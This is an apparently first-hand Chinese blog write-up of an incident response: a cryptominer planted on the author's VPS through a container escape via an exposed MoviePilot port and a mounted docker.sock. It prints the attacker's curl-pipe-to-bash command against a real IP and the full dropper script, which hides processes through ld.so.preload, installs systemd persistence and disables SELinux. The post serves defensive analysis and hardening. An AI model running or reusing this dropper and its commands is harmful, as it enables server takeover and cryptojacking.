侧边栏壁纸
  • 累计撰写 11 篇文章
  • 累计创建 3 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录
vps

记一次服务器被植入挖矿程序的排查与溯源实录

ziwiwiz
2026-03-06 / 0 评论 / 4 点赞 / 318 阅读 / 0 字

0. 引言

在服务器运维过程中,突然的流量激增或 CPU 负载异常往往是“不速之客”访问的信号。本文记录了最近对我的一台服务器进行排查的过程,涵盖了从发现异常、捕捉恶意进程到定位 Docker 逃逸风险的完整链条。


一、 异常初现:100% 的 CPU 占用

server-attack-analysis-1.png
由于部署了监控探针,可以从探针中看到服务器 CPU 持续处于 100% 满载状态。
server-attack-analysis-2.png
有趣的是,使用 top 命令查看时,虽然 ni (nice 值) 占用极高,但进程列表中却看不到任何实际的高占用进程。这种“隐身术”通常意味着攻击者使用了某些手段(如 ld.so.preload 劫持)来隐藏进程。


二、 拨云见日:定位恶意进程

既然常规工具被欺骗,我选择了更底层的系统监控工具 sysdig 来进行分析:
server-attack-analysis-3.png

root@ubuntu:~# sysdig -c topprocs_cpu
CPU%                Process             PID                 
--------------------------------------------------------------------------------
197.99%             .system             548303
1.00%               sysdig              548451

真凶现身:一个名为 .system 的隐藏进程。进一步追踪该进程的可执行文件路径:

root@ubuntu:~# ls -l /proc/548303/exe
lrwxrwxrwx 1 root root 0 Mar  6 09:26 /proc/548303/exe -> /var/spool/.system/.system

恶意程序隐藏在 /var/spool/.system/ 目录下。


三、 持久化分析:野火烧不尽

在尝试手动 kill 进程后,发现该进程会迅速自动重启。这说明系统存在持久化后门(如定时任务或 Systemd 服务)。

通过全盘搜索 systemd 配置,我找到了罪魁祸首:

root@ubuntu:~# grep -R "/var/spool/.system/.system" /etc/systemd 2>/dev/null
/etc/systemd/system/multi-user.target.wants/cdngdn.service:ExecStart=/var/spool/.system/.system

查看该服务的具体定义:

root@ubuntu:~# systemctl cat cdngdn.service
# /usr/lib/systemd/system/cdngdn.service
[Unit]
Description=umx
After=network.target

[Service]
Type=forking
GuessMainPID=no
ExecStart=/var/spool/.system/.system
Restart=always
User=root

[Install]
WantedBy=multi-user.target

操作: 停止并禁用该服务后,CPU 负载立刻恢复正常。

root@ubuntu:~# systemctl stop cdngdn.service

四、 溯源分析:黑客是怎么进来的?

为了搞清楚入侵时间点,我通过 stat 查看了 Service 文件的创建时间,目标锁定在 2026-02-05 01:40 左右。

root@ubuntu:~#  stat /etc/systemd/system/multi-user.target.wants/cdngdn.service
  File: /etc/systemd/system/multi-user.target.wants/cdngdn.service -> /usr/lib/systemd/system/cdngdn.service
  Size: 38        	Blocks: 0          IO Block: 4096   symbolic link
Device: 8,2	Inode: 2492089     Links: 1
Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2026-03-06 09:31:15.173111506 +0000
Modify: 2026-02-05 01:40:57.843682766 +0000
Change: 2026-02-05 01:40:57.843682766 +0000
 Birth: 2026-02-05 01:40:57.843682766 +0000

1. 系统日志线索

检索该时间段的系统日志,发现了密集的 Docker 容器操作记录:

root@ubuntu:~# journalctl --since "2026-02-05 01:35:00" --until "2026-02-05 01:45:00"
Feb 05 01:40:52 ubuntu systemd[1]: tmp-containerd\x2dmount3988262868.mount: Deactivated successfully.
Feb 05 01:40:52 ubuntu systemd[1]: var-lib-docker-rootfs-overlayfs-f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4.mount: Deactivated successfully.
Feb 05 01:40:53 ubuntu containerd[11817]: time="2026-02-05T01:40:53.257543935Z" level=info msg="connecting to shim f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4" address="unix:///run/cont>
Feb 05 01:40:53 ubuntu systemd[1]: Started docker-f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4.scope - libcontainer container f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe2968>
Feb 05 01:40:53 ubuntu dockerd[849]: time="2026-02-05T01:40:53.328023788Z" level=info msg="sbJoin: gwep4 ''->'', gwep6 ''->''" eid=0a8a33636aa2 ep=laughing_hermann net=host nid=ecc17e326ae5
Feb 05 01:40:54 ubuntu dockerd[849]: time="2026-02-05T01:40:54.856108381Z" level=error msg="copy stream failed" error="reading from a closed fifo" stream=stdout
Feb 05 01:40:54 ubuntu dockerd[849]: time="2026-02-05T01:40:54.856185429Z" level=error msg="copy stream failed" error="reading from a closed fifo" stream=stderr
Feb 05 01:40:54 ubuntu dockerd[849]: time="2026-02-05T01:40:54.859929586Z" level=error msg="Error running exec d865e3a04572c9b1c83fb8fba7fc604d5f786eb08c05e2a1b64bf03c8377873f in container: OCI runtime exec>
Feb 05 01:40:55 ubuntu kernel: bash (24713): drop_caches: 1
Feb 05 01:40:57 ubuntu systemd[1]: Reloading requested from client PID 25366 ('systemctl') (unit docker-f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4.scope)...
Feb 05 01:40:57 ubuntu systemd[1]: Reloading...
Feb 05 01:40:57 ubuntu systemd[1]: Configuration file /run/systemd/system/netplan-ovs-cleanup.service is marked world-inaccessible. This has no effect as configuration data is accessible via APIs without re>
Feb 05 01:40:57 ubuntu systemd[1]: Configuration file /run/systemd/system/systemd-networkd-wait-online.service.d/10-netplan.conf is marked world-inaccessible. This has no effect as configuration data is acc>
Feb 05 01:40:57 ubuntu systemd[1]: Reloading finished in 476 ms.
Feb 05 01:40:57 ubuntu systemd[1]: Reloading requested from client PID 25411 ('systemctl') (unit docker-f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4.scope)...
Feb 05 01:40:57 ubuntu systemd[1]: Reloading...
Feb 05 01:40:57 ubuntu systemd[1]: Configuration file /run/systemd/system/netplan-ovs-cleanup.service is marked world-inaccessible. This has no effect as configuration data is accessible via APIs without re>
Feb 05 01:40:57 ubuntu systemd[1]: Configuration file /run/systemd/system/systemd-networkd-wait-online.service.d/10-netplan.conf is marked world-inaccessible. This has no effect as configuration data is acc>
Feb 05 01:40:58 ubuntu systemd[1]: Reloading finished in 254 ms.
Feb 05 01:40:58 ubuntu systemd[1]: Starting motd-news.service - Message of the Day...
Feb 05 01:40:58 ubuntu kernel: bash (24713): drop_caches: 1
Feb 05 01:40:58 ubuntu systemd[1]: Starting cdngdn.service - umx...
Feb 05 01:40:58 ubuntu systemd[1]: Started cdngdn.service - umx.
Feb 05 01:40:59 ubuntu systemd[1]: docker-f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4.scope: Deactivated successfully.
Feb 05 01:40:59 ubuntu systemd[1]: docker-f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4.scope: Consumed 2.311s CPU time, 38.5M memory peak, 748.0K memory swap peak.
Feb 05 01:40:59 ubuntu dockerd[849]: time="2026-02-05T01:40:59.872803708Z" level=info msg="ignoring event" container=f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 module=libcontainerd nam>
Feb 05 01:40:59 ubuntu containerd[11817]: time="2026-02-05T01:40:59.876833666Z" level=info msg="shim disconnected" id=f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 namespace=moby
Feb 05 01:40:59 ubuntu containerd[11817]: time="2026-02-05T01:40:59.877200310Z" level=info msg="cleaning up after shim disconnected" id=f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 names>
Feb 05 01:40:59 ubuntu containerd[11817]: time="2026-02-05T01:40:59.877645259Z" level=info msg="cleaning up dead shim" id=f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 namespace=moby
Feb 05 01:40:59 ubuntu systemd[1]: var-lib-docker-rootfs-overlayfs-f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4.mount: Deactivated successfully.

2. Docker 事件记录

直觉告诉我这与 Docker 逃逸有关。通过 docker events 进一步复盘:

root@ubuntu:~# docker events --since "2026-02-05T01:35:00" --until "2026-02-05T01:45:00"
2026-02-05T01:40:52.975930343Z volume create 218d5b1b80a7c21db6b06968c3479a40615cf364a0951bac62a7253ba86b2681 (driver=local)
2026-02-05T01:40:52.984727066Z container create f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 (image=4ad894b1876a0a8d0a5f2f2b8c0f34f4e7bf4a20202644048b425d870f15dd0e, name=laughing_hermann, org.opencontainers.image.created=2026-01-04T23:00:40.414Z, org.opencontainers.image.description=NAS媒体库自动化管理工具, org.opencontainers.image.licenses=GPL-3.0, org.opencontainers.image.revision=30059eff4f309f228bf89df1f5682935039d2eb9, org.opencontainers.image.source=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.title=MoviePilot, org.opencontainers.image.url=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.version=2.9.2)
2026-02-05T01:40:53.204957004Z volume mount 218d5b1b80a7c21db6b06968c3479a40615cf364a0951bac62a7253ba86b2681 (container=f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4, destination=/config, driver=local, propagation=, read/write=true)
2026-02-05T01:40:53.328661953Z network connect ecc17e326ae54802d0422f37b6522a0ec385231197ed0304766ddd9f1799777d (container=f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4, name=host, type=host)
2026-02-05T01:40:53.342433032Z container start f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 (image=4ad894b1876a0a8d0a5f2f2b8c0f34f4e7bf4a20202644048b425d870f15dd0e, name=laughing_hermann, org.opencontainers.image.created=2026-01-04T23:00:40.414Z, org.opencontainers.image.description=NAS媒体库自动化管理工具, org.opencontainers.image.licenses=GPL-3.0, org.opencontainers.image.revision=30059eff4f309f228bf89df1f5682935039d2eb9, org.opencontainers.image.source=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.title=MoviePilot, org.opencontainers.image.url=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.version=2.9.2)
2026-02-05T01:40:53.552140252Z container exec_create: chroot /h bash -c curl -k https://85.209.153.27:58282/ssww | bash f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 (execID=9e64461d93bfb1fd36d2f5ddf06631a908b8ef616eddfcfc92a45eb3205bf1fd, image=4ad894b1876a0a8d0a5f2f2b8c0f34f4e7bf4a20202644048b425d870f15dd0e, name=laughing_hermann, org.opencontainers.image.created=2026-01-04T23:00:40.414Z, org.opencontainers.image.description=NAS媒体库自动化管理工具, org.opencontainers.image.licenses=GPL-3.0, org.opencontainers.image.revision=30059eff4f309f228bf89df1f5682935039d2eb9, org.opencontainers.image.source=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.title=MoviePilot, org.opencontainers.image.url=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.version=2.9.2)
2026-02-05T01:40:53.652755689Z container exec_start: chroot /h bash -c curl -k https://85.209.153.27:58282/ssww | bash f7ee58057184eb40788eff5a8aaebcd43872cb9b1893035f31f6a7fe29684ad4 (execID=9e64461d93bfb1fd36d2f5ddf06631a908b8ef616eddfcfc92a45eb3205bf1fd, image=4ad894b1876a0a8d0a5f2f2b8c0f34f4e7bf4a20202644048b425d870f15dd0e, name=laughing_hermann, org.opencontainers.image.created=2026-01-04T23:00:40.414Z, org.opencontainers.image.description=NAS媒体库自动化管理工具, org.opencontainers.image.licenses=GPL-3.0, org.opencontainers.image.revision=30059eff4f309f228bf89df1f5682935039d2eb9, org.opencontainers.image.source=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.title=MoviePilot, org.opencontainers.image.url=https://github.com/jxxghp/MoviePilot, org.opencontainers.image.version=2.9.2)

分析这条指令:chroot /h 表明攻击者在创建容器时,将宿主机的根目录 / 挂载到了容器内部的 /h 路径,并以此获得了对宿主机的控制权。


五、 样本分析:攻击者都做了什么?

我试图下载并分析攻击者使用的 ssww 脚本,其内容是一个典型的“挖矿全家桶”安装器。

核心逻辑片段:

  • 清理对手: 停止并卸载常见的其他矿机服务(如 c3pool_miner)。
  • 进程隐藏: 下载 libsystemd-shared-165.so 并写入 /etc/ld.so.preload,这也是为什么 top 看不到进程的原因。
  • 持久化: 写入 /var/spool/.system/ 并注册 cdngdn 服务。
  • 获取 Payload: 根据架构(x86/ARM)下载不同的病毒变体。
root@ubuntu:~# curl -k https://85.209.153.27:58282/ssww
set -e
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ahp() {
clm
echo "vm.nr_hugepages=1200" >> /etc/sysctl.conf
sysctl -p
}
clm() {
sync; echo 1 > /proc/sys/vm/drop_caches
}
set +e
systemctl stop c3pool_miner
systemctl disable c3pool_miner
systemctl stop systeminitd.timer
systemctl stop systeminitd.service
systemctl disable systeminitd.timer
systemctl disable systeminitd.service
systemctl stop zzhd; systemctl stop zzhr; systemctl stop zzhh; systemctl stop sshm; systemctl disable zzhd; systemctl disable zzhr; systemctl disable zzhh; systemctl disable sshm
curl -k https://85.209.153.27:58282/rta | bash
systemctl stop cleanup-temporary-directories.scope
mkdir -p /usr/lib/systemd/systemd-host
setenforce 0
set -e
XV="sst"
[[ $(uname -m) == "aarch64" ]] && XV="ssa" || :
systemctl is-active --quiet svngd && exit 0
systemctl is-active --quiet cdngdn && exit 0
set +e
cd /tmp
curl -kO https://85.209.153.27:58282/cht && chmod +x cht && ./cht -ia /etc/ld.so.preload && rm cht
set -e
mkdir -p /var/spool/.system
cd /var/spool/.system
grep nr_hugepages /etc/sysctl.conf || ahp
curl -k https://85.209.153.27:58282/$XV -o .system
chmod +x .system
(curl -k https://85.209.153.27:58282/phsd2.c | gcc -x c -Wall -fPIC -shared -o /usr/lib/libsystemd-shared-165.so - -ldl) || curl -o /usr/lib/libsystemd-shared-165.so -k https://85.209.153.27:58282/li
set +e
echo /usr/lib/libsystemd-shared-165.so >> /etc/ld.so.preload
set -e
cd /lib/systemd/system
curl -ko cdngdn.service https://85.209.153.27:58282/aa82822
systemctl daemon-reload
systemctl enable cdngdn
clm
systemctl start cdngdn

网络上搜索相关信息,可以在 2024 年就看到相关报告 http://darktrace.com/blog/warpscan-cloudflare-warp-abused-to-hijack-cloud-services


六、 复盘发现:漏洞之源

回顾当前环境,服务器仅运行了三个容器:MoviePilot, qbittorrent, embyserver

通过深入复盘 docker-compose.yml 配置,我发现了两个核心安全隐患:

  1. 挂载了危险的 Docker Sock
    MoviePilot 的配置中,为了实现某些管理功能,挂载了宿主机的 Docker 守护进程:

          - '/var/run/docker.sock:/var/run/docker.sock:ro'
    

    虽然使用了 ro(只读)挂载,但在某些环境下,这依然为攻击者调用 Docker API 提供了便利。

  2. 不当的端口映射(核心诱因)
    原配置中并没有显式地只针对 MoviePilot 常用的 30003001 端口进行映射。由于配置不当(如使用了 network_mode: host 或宽泛的端口映射规则),导致了一些本应仅限本地访问的服务端口(如 38379)也直接暴露在了公网。

使用 AI 分析 MoviePilot 源码发现了问题所在:
server-attack-analysis-4.png
结合日志中出现的非法 docker exec 行为,基本可以复盘出攻击路径:攻击者通过扫描发现并利用了暴露在公网的 38379 端口进行突破,随后结合挂载的 docker.sock 成功实现了容器逃逸,并最终在宿主机植入了挖矿程序。


七、 进展:提交 Pull Request 修复

验证排查方法
通过访问 http://服务器IP:38379/version,如果能够直接返回版本号信息而无需授权,则说明该端口已由于配置不当暴露在公网,存在被攻击风险。

针对此次排查发现的 Docker API 风险,已向官方仓库提交了 Pull Request #5546


八、 总结与安全建议

  1. 谨慎挂载 docker.sock:除非绝对必要(如 Docker 管理程序),否则严禁将该文件挂载给容器。
  2. 隐藏进程排查:当 top 失效时,优先使用 sysdig, unhide 或直接检查 /proc/ 目录。
  3. 定期自检持久化项:关注 /etc/ld.so.preload/etc/systemd/system/ 下的异常文件。
  4. 网络层加固:严密封锁 Docker API 端口(2375/2376),并配合 TLS 认证。
4
  1. 微信打赏

    qrcode weixin
    1. 微信打赏

      qrcode weixin

评论区